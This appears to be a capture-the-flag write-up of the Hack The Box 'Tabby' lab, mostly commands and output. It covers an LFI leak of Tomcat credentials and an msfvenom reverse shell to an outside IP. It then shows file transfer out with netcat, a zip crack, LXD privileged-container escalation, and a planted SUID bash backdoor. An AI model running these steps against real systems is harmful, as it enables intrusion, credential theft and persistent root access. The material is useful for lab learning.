14 minute read

Introduction


Tabby is an easy box. It is rated 4.2, which is decent for an easy machine. I exploited a local file inclusion (LFI) to read tomcat credentials and then get a reverse shell. I found a backup archive on the machine, cracked it and found more credentials. The new user was part of the lxd group, this was exploited to gain root privileges. So let’s start enumerating the machine.

Enumeration


As always, I first start with a Nmap scan.

Nmap Scan


For this task, I use the nmap automator, here are the results of the full scan:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ sudo /tools/nmapAutomator/nmapAutomator.sh -H tabby.htb -t All

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

On the open port, the automator will perform a script scan

PORT   STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service Enumeration


The automator also performed a FFuF scan:

.hta                    [Status: 403, Size: 274, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 274, Words: 20, Lines: 10]
                        [Status: 200, Size: 14175, Words: 2135, Lines: 374]
.htaccess.php           [Status: 403, Size: 274, Words: 20, Lines: 10]
.hta.php                [Status: 403, Size: 274, Words: 20, Lines: 10]
.php                    [Status: 403, Size: 274, Words: 20, Lines: 10]
.htpasswd.php           [Status: 403, Size: 274, Words: 20, Lines: 10]
.htpasswd               [Status: 403, Size: 274, Words: 20, Lines: 10]
assets                  [Status: 301, Size: 307, Words: 20, Lines: 10]
favicon.ico             [Status: 200, Size: 766, Words: 8, Lines: 2]
files                   [Status: 301, Size: 306, Words: 20, Lines: 10]
index.php               [Status: 200, Size: 14175, Words: 2135, Lines: 374]
index.php               [Status: 200, Size: 14175, Words: 2135, Lines: 374]
news.php                [Status: 200, Size: 0, Words: 1, Lines: 1]
server-status           [Status: 403, Size: 274, Words: 20, Lines: 10]

I visit the home page. When clicking on news, I get redirected to another domain called megahosting.htb, which I quickly added to the hosts file. None of the files above are interesting. So I scanned the files directory and found one dir called archive, which I cannot access.

So I scan port 8080:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ python3 /tools/dirsearch.py -u http://megahosting.htb:8080 -e php,html -x 404 -t 50

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, html | HTTP method: GET | Threads: 50 | Wordlist size: 9395

Output File: /tools/dirsearch/reports/megahosting.htb-8080/_21-09-22_08-16-07.txt

Error Log: /tools/dirsearch/logs/errors-21-09-22_08-16-07.log

Target: http://megahosting.htb:8080/

[08:16:07] Starting: 
[08:16:24] 400 -  804B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[08:16:26] 400 -  804B  - /a%5c.aspx
[08:16:45] 302 -    0B  - /docs  ->  /docs/
[08:16:46] 200 -   17KB - /docs/
[08:16:47] 302 -    0B  - /examples  ->  /examples/
[08:16:48] 200 -    1KB - /examples/
[08:16:48] 200 -  658B  - /examples/servlets/servlet/CookieExample
[08:16:48] 200 -    6KB - /examples/servlets/index.html
[08:16:48] 200 -  949B  - /examples/servlets/servlet/RequestHeaderExample
[08:16:48] 200 -  676B  - /examples/jsp/snp/snoop.jsp
[08:16:51] 401 -    2KB - /host-manager/html
[08:16:51] 302 -    0B  - /host-manager/  ->  /host-manager/html
[08:16:52] 200 -    2KB - /index.html
[08:16:57] 401 -    2KB - /manager/status/all
[08:16:58] 401 -    2KB - /manager/html
[08:16:58] 302 -    0B  - /manager/  ->  /manager/html
[08:16:58] 302 -    0B  - /manager  ->  /manager/
[08:16:58] 401 -    2KB - /manager/html/

Task Completed

I just access the website on port 8080:

It works !

If you're seeing this page via a web browser, it means you've setup Tomcat successfully. Congratulations!

This is the default Tomcat home page. It can be found on the local filesystem at: /var/lib/tomcat9/webapps/ROOT/index.html

I enumerated more but found nothing, so I took a brake and after that I reproduced everything I found. I noticed a get parameter on the news.php page. Let’s see if it is vulnerable:

Untitled

Oh yes, it is vulnerable to a local file inclusion. I can use this to gain tomcat credentials.

Exploitation


Normally, tomcat users are defined in /etc/tomcat9/tomcat-users.xml. But this is not the case here, so I installed tomcat9 and searched for the file:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ find / -name tomcat-users.xml 2>&/dev/null
/etc/tomcat9/tomcat-users.xml
/usr/share/tomcat9/etc/tomcat-users.xml

So let’s try to curl the second file:

<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
-->
<!--
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>

In the second last line, you have a password: $3cureP4s5w0rd123!. I can now log in as tomcat on the tomcat server. The only page I could access is the host-manager. But there I could not do much. So I tried to curl the forbidden page (/manager):

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ curl -u 'tomcat:$3cureP4s5w0rd123!' http://megahosting.htb:8080/manager/text/list
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/examples:running:0:/usr/share/tomcat9-examples/examples
/host-manager:running:2:/usr/share/tomcat9-admin/host-manager
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs

That worked, so I should now be able to get a reverse shell. But first, I generate a payload. The payload must be a .war file, because that’s what tomcat can work with:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ msfvenom -p java/shell_reverse_tcp lhost=10.10.16.6 lport=443 -f war -o shell.war
Payload size: 13318 bytes
Final size of war file: 13318 bytes
Saved as: shell.war

This file must be uplaoded, this can be done using the deploy command:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ curl -u 'tomcat:$3cureP4s5w0rd123!' http://megahosting.htb:8080/manager/text/deploy?path=/shell --upload-file shell.war
OK - Deployed application at context path [/shell]

To call the shell, I visit the following path: http://megahosting.htb:8080/shell. Look a the netcat listener, a shell spawned:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.194] 52816
python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@tabby:/var/lib/tomcat9$ export TERM=xterm
export TERM=xterm
tomcat@tabby:/var/lib/tomcat9$ ^Z
zsh: suspended  nc -lvnp 443

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 443

tomcat@tabby:/var/lib/tomcat9$

I cannot access user ash’s home, so I need to privesc first.

Privesc


tomcat → ash


I let linpeas run to try to find common vulnerabilities:

╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.31    # was red
---snip---
╔══════════╣ Cron jobs
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
 Edit this file to introduce tasks to be run by cron.

 Each task to run has to be defined through a single line
 indicating with different fields when the task will be run
 and what command to run for the task

 To define the time you can provide concrete values for
 minute (m), hour (h), day of month (dom), month (mon),
 and day of week (dow) or use '*' in these fields (for 'any').

 Notice that tasks will be started based on the cron's system
 daemon's notion of time and timezones.

 Output of the crontab jobs (including errors) is sent through
 email to the user the crontab file belongs to (unless redirected).

 For example, you can run a backup of all your user accounts
 at 5 a.m every week with:
 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/ # was orange

╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
Current capabilities:
Current: = cap_net_bind_service+eip     # was orange
CapInh: 0000000000000400
CapPrm: 0000000000000400
CapEff: 0000000000000400
CapBnd: 0000003fffffffff
CapAmb: 0000000000000400

I think none of them will work, so I just check the web directory:

tomcat@tabby:/var/www/html/files$ ls -l
total 28
-rw-r--r-- 1 ash  ash  8716 Jun 16  2020 16162020_backup.zip
drwxr-xr-x 2 root root 4096 Aug 19 14:10 archive
drwxr-xr-x 2 root root 4096 Aug 19 14:10 revoked_certs
-rw-r--r-- 1 root root 6507 Jun 16  2020 statement

There is the statement file, which was on the news page and a backup zip. Let’s transfer the zip file to my kali machine and open it:

tomcat@tabby:/var/www/html/files$ md5sum 16162020_backup.zip 
f0a0af346ad4495cfdb01bd5173b0a52  16162020_backup.zip

tomcat@tabby:/var/www/html/files$ cat 16162020_backup.zip | nc 10.10.16.6 443

In the netcat listener, I receive the file:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ nc -lvnp 443 > backup.zip
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.194] 53078
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ md5sum backup.zip                                                                
f0a0af346ad4495cfdb01bd5173b0a52  backup.zip

The hash confirms that the file was completely transferred. Let’s unzip the file:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ unzip backup.zip
Archive:  backup.zip
   creating: var/www/html/assets/
[backup.zip] var/www/html/favicon.ico password:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip

PASSWORD FOUND!!!!: pw == admin@it

The file was password secured, but I could crack the password. But in the folder there is only trash. So I checked for a password reuse:

tomcat@tabby:/var/www/html/files$ su ash
Password: 
ash@tabby:/var/www/html/files$

That worked, I got a shell as ash.

User Flag


I should be able to read the user flag:

ash@tabby:~$ cat user.txt
45**************************0790

ash → root


I created an SSH key to get easier access if something happens to the shell:

ash@tabby:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/ash/.ssh/id_rsa): 
Created directory '/home/ash/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/ash/.ssh/id_rsa
Your public key has been saved in /home/ash/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:SoISCFZYBaUL5Yks34/ZJDUf2Y95n7/tCWJksG4thD8 ash@tabby
The key's randomart image is:
+---[RSA 3072]----+
|..+=+o           |
|=.+ o    o       |
|++ +  o o..      |
|.o.o.. o..o+     |
|. o.+ o.Soooo    |
| .   X .+ +. . . |
|    o +  E + .o  |
|        . + . ..o|
|               +=|
+----[SHA256]-----+
ash@tabby:~$ cd .ssh
ash@tabby:~/.ssh$ ls
id_rsa  id_rsa.pub
ash@tabby:~/.ssh$ cp id_rsa.pub authorized_keys
ash@tabby:~/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub

Now, transfer the key and login:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ chmod 600 id_rsa

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/tabby]
└─$ ssh ash@tabby.htb -i id_rsa  
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 22 Sep 2021 01:15:31 PM UTC

  System load:  0.0               Processes:               230
  Usage of /:   47.8% of 6.82GB   Users logged in:         0
  Memory usage: 35%               IPv4 address for ens160: 10.10.10.194
  Swap usage:   0%

283 updates can be installed immediately.
152 of these updates are security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue May 19 11:48:00 2020
ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),116(lxd)

I saw that the user is member of the lxd group. Linpeas also showed this orange-red when I ran it. This blog post helped a lot, but there where some commands that I had to use that differ the blog post, in order to get it to work. I will make a note when this is the case:

Lxd Privilege Escalation

I can escalate my privileges using a tool from Github:

GitHub - saghul/lxd-alpine-builder: Build Alpine Linux images for LXD

Run it and copy the generated zip file to the machine, then use lxc to import that image:

ash@tabby:/tmp$ lxc image import ./alpine-v3.14-x86_64-20210922_1521.tar.gz --alias myimage
Image imported with fingerprint: 00a6b022e7f5c6e68da55385e6b19b9f3bfe09531431677416c51d792ce991a3
ash@tabby:/tmp$ lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| myimage | 00a6b022e7f5 | no     | alpine v3.14 (20210922_15:21) | x86_64       | CONTAINER | 3.10MB | Sep 22, 2021 at 1:37pm (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+

Now, initialize the image (you can use the default) (NOTE: this command is not from the blog post, but without the command it did not work on when I tried it):

ash@tabby:/tmp$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: 
Do you want to configure a new storage pool? (yes/no) [default=yes]: 
Name of the new storage pool [default=default]: 
Name of the storage backend to use (btrfs, dir, lvm, zfs, ceph) [default=zfs]: 
Create a new ZFS pool? (yes/no) [default=yes]: 
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]: 
Size in GB of the new loop device (1GB minimum) [default=5GB]: 
Would you like to connect to a MAAS server? (yes/no) [default=no]: 
Would you like to create a new local network bridge? (yes/no) [default=yes]: 
What should the new bridge be called? [default=lxdbr0]: 
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 
Would you like the LXD server to be available over the network? (yes/no) [default=no]: 
Would you like stale cached images to be updated automatically? (yes/no) [default=yes] 
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:

You need to create a container for this image:

ash@tabby:/tmp$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer

I want to mount parts of the host system into the image, this is done by using a device:

ash@tabby:/tmp$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer

It’s time to start the container and get a root shell:

ash@tabby:/tmp$ lxc start mycontainer
ash@tabby:/tmp$ lxc exec mycontainer /bin/sh
~ # id
uid=0(root) gid=0(root)

Here is the root shell. To access the file system, you can change the directory to /mnt/root:

~ # ls
~ # cd /mnt/root
/mnt/root # ls
bin         cdrom       etc         lib         lib64       lost+found  mnt         proc        run         snap        sys         usr
boot        dev         home        lib32       libx32      media       opt         root        sbin        srv         tmp         var

Gain Persistency


If the lxc image would crash, that would be a pain to reproduce all these steps. So I just create rootbash (copy of bash with SUID bit set):

/mnt/root # cp bin/bash tmp
/mnt/root # cd tmp
/mnt/root/tmp # ls
alpine-v3.14-x86_64-20210922_1521.tar.gz                                           systemd-private-7b49dcee301d494282fa755492577113-systemd-resolved.service-ZbqZtg
bash                                                                               systemd-private-7b49dcee301d494282fa755492577113-systemd-timesyncd.service-vHvpQf
snap.lxd                                                                           systemd-private-7b49dcee301d494282fa755492577113-tomcat9.service-5zlOQg
systemd-private-7b49dcee301d494282fa755492577113-apache2.service-FYV4fh            tmux-1000
systemd-private-7b49dcee301d494282fa755492577113-systemd-logind.service-kmw5Uh     vmware-root_730-2999460803
/mnt/root/tmp # chmod +s bash
/mnt/root/tmp # mv bash rootbash
/mnt/root/tmp # ls -l rootbash
-rwsr-sr-x    1 root     root       1183448 Sep 22 13:48 rootbash

I could not see the file inside of tmp, so I moved it to /home (which is not the most hidden spot):

tomcat@tabby:/tmp$ cd /home
tomcat@tabby:/home$ ls
ash  rootbash
tomcat@tabby:/home$ ./rootbash -p
rootbash-5.0# id
uid=997(tomcat) gid=997(tomcat) euid=0(root) egid=0(root) groups=0(root),997(tomcat)

I execute the binary with the -p flag and got root access again.

Root Flag


It’s time to get the root flag:

rootbash-5.0# cat root.txt
1e**************************3c66

Other Ways To Privesc


There is a much faster way of doing the privesc. I found this method in a write up by 0xdf:

m0noc found a way to delete as much as possible from the container, it’s now only a 656 byte string. It now works like this (This is copied from the write up above):

Now I can just echo this string into base64 -d and save it as a file, creating the 656 byte image:

ash@tabby:/dev/shm$ echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2
ash@tabby:/dev/shm$ ls -l
total 4
-rw-rw-r-- 1 ash ash 656 Nov  4 12:40 bob.tar.bz2

If you haven’t already done it above, you should now run lxd init and accept all the defaults to initialize:

ash@tabby:/dev/shm$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: 
Do you want to configure a new storage pool? (yes/no) [default=yes]: 
Name of the new storage pool [default=default]: 
Name of the storage backend to use (dir, lvm, ceph, btrfs) [default=btrfs]: 
Create a new BTRFS pool? (yes/no) [default=yes]: 
Would you like to use an existing block device? (yes/no) [default=no]: 
Size in GB of the new loop device (1GB minimum) [default=15GB]: 
Would you like to connect to a MAAS server? (yes/no) [default=no]: 
Would you like to create a new local network bridge? (yes/no) [default=yes]: 
What should the new bridge be called? [default=lxdbr0]: 
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 
Would you like LXD to be available over the network? (yes/no) [default=no]: 
Would you like stale cached images to be updated automatically? (yes/no) [default=yes] 
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:

Now, import the image, create it, add the host file system, and start the image:

ash@tabby:/dev/shm$ lxc image import bob.tar.bz2 --alias bobImage
ash@tabby:/dev/shm$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
ash@tabby:/dev/shm$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM
ash@tabby:/dev/shm$ lxc start bobVM

With success there, I can get a shell and access the root filesystem and the flag:

ash@tabby:/dev/shm$ lxc exec bobVM -- /bin/sh
# cd /r
# ls
bin    dev   lib    libx32      mnt   root  snap      sys  var
boot   etc   lib32  lost+found  opt   run   srv       tmp
cdrom  home  lib64  media       proc  sbin  swap.img  usr
# cd root
# ls
root.txt  snap
# cat root.txt
1e**************************3c66